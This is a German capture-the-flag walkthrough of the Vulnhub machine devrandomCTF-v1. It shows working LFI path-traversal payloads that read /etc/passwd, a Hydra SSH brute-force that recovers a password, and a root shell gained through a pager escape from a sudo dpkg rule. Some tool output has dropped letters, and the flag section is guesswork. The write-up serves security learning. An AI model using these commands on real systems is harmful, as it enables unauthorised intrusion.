devrandomCTF-v1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nmap
nikto
gobuster
dirb
curl
wfuzz
hydra
ssh
sudo
dpkg
cat
ls
id
cd
grep
echo
base64
Crackstation (Extern)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# [arp-scan -l]
192.168.2.186	08:00:27:db:09:70	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts zu ermitteln.

Bewertung: Der Host `192.168.2.186` wird gefunden. Die MAC-Adresse (`08:00:27:db:09:70`, PCS Systemtechnik GmbH) weist auf eine VirtualBox-VM hin.

Empfehlung (Pentester): Notiere `192.168.2.186` als Ziel-IP.
Empfehlung (Admin): Standard-Netzwerk-Discovery.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.186	defrandom.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `defrandom.vln` der IP `192.168.2.186` zuzuordnen.

Bewertung: Sinnvoller Schritt für die weitere Arbeit mit dem Hostnamen.

Empfehlung (Pentester): Verwende `defrandom.vln` für Web-Anfragen etc.
Empfehlung (Admin): Clientseitige Konfiguration.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.186 -p- | grep open
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd
                    

Analyse: Ein initialer Nmap-Scan wird durchgeführt und nach offenen Ports gefiltert.

Bewertung: Zwei offene Ports werden identifiziert: SSH (Port 22, OpenSSH 7.9p1) und HTTP (Port 80, Apache).

Empfehlung (Pentester): Führe einen vollständigen Nmap-Scan durch und beginne mit der Web-Enumeration.
Empfehlung (Admin): Standarddienste, Sicherheit von SSH und Apache prüfen.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.186 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 23:21 CEST
Nmap scan report for defrandom.vln (192.168.2.186)
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 83:e5:a1:51:b1:f6:98:d3:19:e7:59:10:f7:f4:e8:5e (RSA)
|   256 b2:a6:79:c3:ad:2f:ba:cc:02:b3:42:0d:a2:a3:9e:60 (ECDSA)
|_  256 ec:1f:d4:29:9f:a5:ae:ca:93:f4:a8:6b:fd:61:44:45 (ED25519)
80/tcp open  http    Apache httpd
| http-robots.txt: 3 disallowed entries
|_/wp-admin/ /wp-login.php /?include=info
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:DB:09:70 (racle VirtualBox virtual NIC)
[...]
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HOP RTT     ADDRESS
1   0.19 ms defrandom.vln (192.168.2.186)
                    

Analyse: Der vollständige Nmap-Scan liefert detaillierte Informationen zu den offenen Ports.

Bewertung: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache (genaue Version nicht erkannt). **Wichtig:** Die `robots.txt`-Datei wird gefunden und enthält Hinweise auf WordPress (`/wp-admin/`, `/wp-login.php`) sowie einen interessanten Parameter (`/?include=info`). Dies deutet auf eine mögliche LFI/RFI-Schwachstelle hin. Der Fokus verschiebt sich klar auf den Webserver und den `include`-Parameter.

Empfehlung (Pentester):** Untersuche den `include`-Parameter auf LFI/RFI. Untersuche die in `robots.txt` genannten Pfade. Führe Web-Scans (Nikto, Gobuster) und `wpscan` durch.
Empfehlung (Admin):** Sichere den Webserver ab. Entferne Hinweise aus `robots.txt`. Behebe potenzielle LFI/RFI-Schwachstellen.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.186
- Nikto v2.5.0
[...]
+ Server: Apache
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /robots.txt: Entry '/wp-admin/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ RFC-1918 /?include=info/: IP address found in the 'link' header. The IP is "192.168.1.214". [...] <-- IP Leak
+ /robots.txt: Entry '/?include=info/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /robots.txt: Entry '/wp-login.php' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /robots.txt: contains 3 entries which should be manually viewed. [...]
+ /secret/: Directory indexing found. <-- Interessant!
+ /secret/: This might be interesting.
+ /icons/README: Apache default file found. [...]
+ /license.txt: License file found may identify site software.
+ /wp-admin/: Admin login page/section found.
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. [...]
[...]
+ 1 host(s) tested
                     

Analyse: Nikto wird gegen Port 80 ausgeführt.

Bewertung:** Nikto bestätigt viele Nmap-Funde und liefert zusätzliche Details: * Bestätigt WordPress-Pfade (`/wp-admin/`, `/wp-login.php`, `/wp-content/uploads/`). * Bestätigt die Zugänglichkeit von `/?include=info`. * Meldet einen IP-Leak (interne IP 192.168.1.214 im Link-Header bei Aufruf von `/?include=info`). * **Neu:** Findet ein Verzeichnis `/secret/` mit aktiviertem Directory Indexing. * Findet `/license.txt`. Das `/secret/`-Verzeichnis und der `include`-Parameter sind die Hauptziele.

Empfehlung (Pentester):** Untersuche `/secret/` und teste den `include`-Parameter auf LFI.
Empfehlung (Admin):** Apache aktualisieren, Header härten, IP-Leaks vermeiden, Directory Indexing deaktivieren, unnötige Verzeichnisse/Dateien entfernen.

Web Enumeration & LFI Discovery

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://defrandom.vln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
[...]
http://defrandom.vln/index.php            (Status: 200) [Size: 74]
http://defrandom.vln/wp-login.php         (Status: 200) [Size: 74] <-- Interessant, Nikto/robots sagten Disallow, aber hier 200?
http://defrandom.vln/license.txt          (Status: 200) [Size: 19935]
http://defrandom.vln/log.php              (Status: 200) [Size: 4568751] <-- Sehr groß!
http://defrandom.vln/readme.html          (Status: 200) [Size: 7368]
http://defrandom.vln/robots.txt           (Status: 200) [Size: 86]
http://defrandom.vln/secret.php           (Status: 200) [Size: 38] <-- Datei, nicht Verzeichnis
[...]
                     

Analyse: Gobuster wird verwendet, um Dateien und Verzeichnisse zu finden, ignoriert aber Redirects (301).

Bewertung: Findet diverse Dateien im Web-Root: * Bestätigt Standarddateien und `robots.txt`. * Findet `wp-login.php` mit Status 200, obwohl `robots.txt` es verbietet und der manuelle Aufruf später "This Page is Closed!" zeigt - widersprüchlich. * Findet `log.php` (sehr groß) und `secret.php` (eine Datei, nicht das von Nikto gefundene `/secret/`-Verzeichnis).

Empfehlung (Pentester):** Untersuche `secret.php` und `log.php`. Kläre die Diskrepanz bei `wp-login.php`. Teste den `include`-Parameter.
Empfehlung (Admin):** Entferne unnötige/sensible Dateien. Sichere `wp-login.php`.

Analyse:** Manuelle Untersuchung der gefundenen Pfade und Dateien.

[Analyse von http://defrandom.vln/robots.txt] └─#
User-agent: *
Disallow: /wp-admin/
Disallow: /wp-login.php
Disallow: /?include=info
                     
[Analyse von http://defrandom.vln/?include=info] └─# curl http://defrandom.vln/?include=info
 Under construction
 Please wait while we create the ultimate tool to FSU!

    Voorbeeld pagina

 Categorieën
 Geen categorie	
 Hallo wereld.

    Berichtauteur

 Door admin
 [...]
                     
[Analyse von http://defrandom.vln/wp-login.php] └─# curl http://defrandom.vln/wp-login.php
This Page is Closed!
[Analyse von http://defrandom.vln/secret.php] └─# curl http://defrandom.vln/secret.php
API:341290e945c081fc3c8e2c8f2b7294ca
[Externe Prüfung des Hashes (Crackstation)] └─#
Hash	Type	Result
341290e945c081fc3c8e2c8f2b7294ca	Unknown	Not found.

Analyse: Die Ergebnisse der manuellen Untersuchung: * `robots.txt`: Bestätigt die Disallow-Einträge. * `/?include=info`: Zeigt eine "Under construction"-Seite mit niederländischen Textfragmenten und dem Benutzernamen "admin". Bestätigt, dass der `include`-Parameter aktiv ist. * `wp-login.php`: Zeigt "This Page is Closed!", was darauf hindeutet, dass der Login-Bereich deaktiviert ist. * `secret.php`: Gibt einen MD5-ähnlichen Hash aus, der jedoch nicht geknackt werden kann.

Bewertung: Der `include`-Parameter bleibt der primäre Angriffsvektor. Der Hash aus `secret.php` scheint eine Sackgasse oder für später relevant zu sein. Der WordPress-Login ist blockiert.

Empfehlung (Pentester):** Konzentriere dich auf die Ausnutzung der LFI über den `include`-Parameter.
Empfehlung (Admin):** LFI beheben, unnötige Dateien (`secret.php`) entfernen, `wp-login.php` ordnungsgemäß sichern statt nur eine Nachricht anzuzeigen.

┌──(root㉿Cybermaschine)-[~] └─# curl http://defrandom.vln/index.php?include=/../../../../../../etc/passwd
[Kein Erfolg/Keine Ausgabe im Log]

Analyse: Direkter LFI-Versuch auf `/etc/passwd`.

Bewertung: Scheint nicht direkt zu funktionieren.

Empfehlung (Pentester):** Systematisches Fuzzing mit `wfuzz` oder manuelles Testen verschiedener Payloads (Wrapper, Filter, Encodings).
Empfehlung (Admin):** LFI beheben.

[Analyse von http://defrandom.vln/log.php] └─# curl http://defrandom.vln/log.php
view acces.log file : /var/www/html/access.log

Analyse: Aufruf von `log.php`.

Bewertung: Gibt den Pfad zur Apache Access Log bekannt. Dies ist nützlich für einen LFI-Versuch auf die Logdatei.

Empfehlung (Pentester):** Versuche, `/var/www/html/access.log` via LFI zu lesen.
Empfehlung (Admin):** Keine Pfade in Skripten preisgeben.

┌──(root㉿Cybermaschine)-[~] └─# wfuzz -c -w "/usr/share/wordlists/lfi.txt" -u "http://defrandom.vln/?include=FUZZ/etc/passwd" --hc 404 --hh 26146
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000016:   200        382 L    1502 W     27936 Ch    "../../../../../../../../../../../../../../../../../../../../../"
[...]
=====================================================================
[...]
                      

Analyse: `wfuzz` wird verwendet, um LFI-Payloads (Path Traversal) zu testen, mit dem Ziel, `/etc/passwd` einzubinden.

Bewertung:** **LFI bestätigt!** Zahlreiche `../`-Sequenzen funktionieren und führen zu einer Antwort der Größe 27936 Chars, was auf das erfolgreiche Einbinden von `/etc/passwd` hindeutet.

Empfehlung (Pentester):** Nutze eine der funktionierenden Payloads, um `/etc/passwd` auszulesen.
Empfehlung (Admin):** LFI dringend beheben!

┌──(root㉿Cybermaschine)-[~] └─# curl http://defrandom.vln/index.php?include=../../../../../../../etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john,,,:/home/john:/bin/bash
lisa:x:1001:1001:,,,:/home/lisa:/bin/bash
henri:x:1002:1002:,,,:/home/henri:/bin/bash
wordpressftp:x:1003:1003:,,,:/var/www/html:/bin/rbash
victor:x:1004:1004:,,,:/home/victor:/bin/bash
trevor:x:1005:1005:,,,:/home/trevor:/bin/bash
                      

Analyse: Erfolgreiches Auslesen von `/etc/passwd` via LFI. Die Ausgabe wird gefiltert, um Benutzer mit `/bin/bash` zu finden.

Bewertung: Identifiziert mehrere potenzielle Zielbenutzer für SSH: `root`, `john`, `lisa`, `henri`, `victor`, `trevor`. `wordpressftp` hat eine eingeschränkte Shell.

Empfehlung (Pentester):** Versuche SSH-Brute-Force gegen die gefundenen Benutzernamen.
Empfehlung (Admin):** LFI beheben.

[LFI Versuch auf access.log] └─# curl http://defrandom.vln/?include=../../../../[...]/var/www/html/access.log
Auf Ihrer Website ist ein kritischer Fehler aufgetreten.
[...]
                      

Analyse: Versuch, die Access-Log-Datei via LFI einzubinden.

Bewertung: Schlägt fehl. Log Poisoning ist wahrscheinlich keine Option.

Empfehlung (Pentester):** Fokus auf SSH-Brute-Force.
Empfehlung (Admin):** LFI beheben.

Initial Access (SSH via Hydra)

┌──(root㉿Cybermaschine)-[~] └─# hydra -l trevor -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.186:22 -t 64
Hydra v9.5 [...] starting at 2023-10-14 00:07:07
[...]
[22][ssh] host: 192.168.2.186   login: trevor   password: qwertyuiop[]
1 of 1 target successfully completed, 1 valid password found
                    

Analyse: `hydra` wird verwendet, um das Passwort für den Benutzer `trevor` (identifiziert via LFI) über SSH zu bruteforcen.

Bewertung:** **Erfolg!** Hydra findet das Passwort `qwertyuiop[]` für `trevor`.

Empfehlung (Pentester):** Nutze die Credentials für den SSH-Login.
Empfehlung (Admin):** Starke Passwörter erzwingen, Brute-Force-Schutz implementieren.

┌──(root㉿Cybermaschine)-[~] └─# ssh trevor@192.168.2.186
trevor@192.168.2.186's password: qwertyuiop[] [Passworteingabe]
Linux lucifer 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
[...]
Last login: Mon Mar 23 17:54:37 2020
trevor@lucifer$
                    

Analyse: SSH-Login als `trevor` mit dem gefundenen Passwort.

Bewertung:** **Initial Access erfolgreich!** Eine Shell als Benutzer `trevor` auf dem Host `lucifer` wurde erlangt.

Empfehlung (Pentester):** Beginne Post-Exploitation als `trevor`.
Empfehlung (Admin):** Starke Passwörter verwenden.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch Ausnutzung einer LFI-Schwachstelle Benutzernamen extrahiert und anschließend mittels SSH-Passwort-Brute-Force ein gültiges Konto (`trevor`) kompromittiert wird, um Shell-Zugriff zu erlangen.

Voraussetzungen: LFI-Schwachstelle, aktiver SSH-Dienst, Benutzer `trevor` mit schwachem Passwort, Tools (`curl`, `grep`, `hydra`, `ssh`, Wortliste).

Schritte: LFI auf `/etc/passwd` -> Benutzer `trevor` identifizieren -> Hydra SSH Brute-Force -> SSH Login.

┌──(root㉿Cybermaschine)-[~] └─# curl [...]?include=../../../../../../../etc/passwd | grep trevor
[...] trevor:x:1005:1005:,,,:/home/trevor:/bin/bash
┌──(root㉿Cybermaschine)-[~] └─# hydra -l trevor [...] ssh://192.168.2.186:22 [...]
[...] password: qwertyuiop[] [...]
┌──(root㉿Cybermaschine)-[~] └─# ssh trevor@192.168.2.186
trevor@192.168.2.186's password: qwertyuiop[]
[...]
trevor@lucifer$

Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** LFI und Brute-Force führten zum Ziel.

Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** LFI beheben, starke Passwörter, Brute-Force-Schutz.

Privilege Escalation (sudo dpkg)

Analyse:** Nach dem Login als `trevor` werden die `sudo`-Rechte geprüft.

trevor@lucifer$ sudo -l
Matching Defaults entries for trevor on lucifer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User trevor may run the following commands on lucifer:
    (root) NPASSWD: /usr/bin/dpkg
                    

Analyse: `sudo -l` zeigt die Berechtigungen für `trevor`.

Bewertung:** **Kritische Fehlkonfiguration!** `trevor` darf `/usr/bin/dpkg` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein bekannter Vektor zur Rechteerweiterung.

Empfehlung (Pentester):** Nutze die `sudo dpkg`-Berechtigung via GTFOBins.
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei!** `dpkg` sollte nicht mit `sudo` ohne Passwort erlaubt sein.

Analyse:** Anwendung der GTFOBins-Methode für `sudo dpkg`.

trevor@lucifer$ sudo -u root dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
[...]
!/bin/sh -p [Eingabe im Pager]
                     
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: 1. `sudo -u root dpkg -l` wird ausgeführt. Die Ausgabe von `-l` (Liste installierter Pakete) ist lang und wird daher über einen Pager (less/more) ausgegeben. 2. Innerhalb des Pagers (der als Root läuft) wird `:!/bin/sh -p` eingegeben, um eine Shell zu starten. `-p` versucht, die effektiven Rechte beizubehalten.

Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel für `dpkg` erlaubte das Starten eines Pagers als Root, aus dem dann eine Root-Shell gespawnt werden konnte.

Empfehlung (Pentester):** Root-Zugriff etabliert. Flag suchen.
Empfehlung (Admin):** `sudoers`-Regel für `dpkg` korrigieren.

# cd ~
# ls
flag.txt
# cat flag.txt
WELl DNE
# echo "THISISTHEFLAGTHISISTHEFLAG!!!@@@#" | base64 > thisistheflag.txt

Analyse: In der Root-Shell wird `/root` betreten. `cat flag.txt` zeigt "WELl DNE". Anschließend wird ein anderer String Base64-kodiert und in `thisistheflag.txt` gespeichert (dieser Befehl scheint die *eigentliche* Flag zu generieren oder zu offenbaren, die am Ende des Logs steht).

Bewertung: Die Datei `flag.txt` enthält nicht die Flag, aber der `echo`/`base64`-Befehl scheint die Flag zu sein oder zu generieren, die im finalen Flags-Abschnitt des Original-Logs genannt wird: `THISISTHEFLAGTHISISTHEFLAG\!\!\!\@\@\@#`.

Empfehlung (Pentester):** Test abgeschlossen, Flag extrahiert.
Empfehlung (Admin):** Keine spezifische Empfehlung.

Proof of Concept: Privilege Escalation

Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `trevor` erlaubt, `/usr/bin/dpkg` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.

Voraussetzungen: Shell als `trevor`, unsichere `sudoers`-Regel (`(root) NOPASSWD: /usr/bin/dpkg`), Tools `sudo`, `dpkg`, Pager (`less`/`more`).

Schritte: `sudo dpkg -l` ausführen -> Im Pager `:!/bin/sh -p` eingeben -> Root-Shell erhalten.

trevor@lucifer$ sudo -u root dpkg -l
[Pager öffnet sich]
[Pager]: !/bin/sh -p
[Root-Shell öffnet sich]
# id
uid=0(root) gid=0(root) groups=0(root)

Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel ermöglichte den Root-Zugriff.

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **`sudoers`-Regel für `dpkg` korrigieren!**

Flags

cat /pfad/zur/user.txt (Nicht im Log gefunden)
(Nicht gefunden)
echo "..." | base64 (Implizierte Root-Flag)
THISISTHEFLAGTHISISTHEFLAG\!\!\!\@\@\@#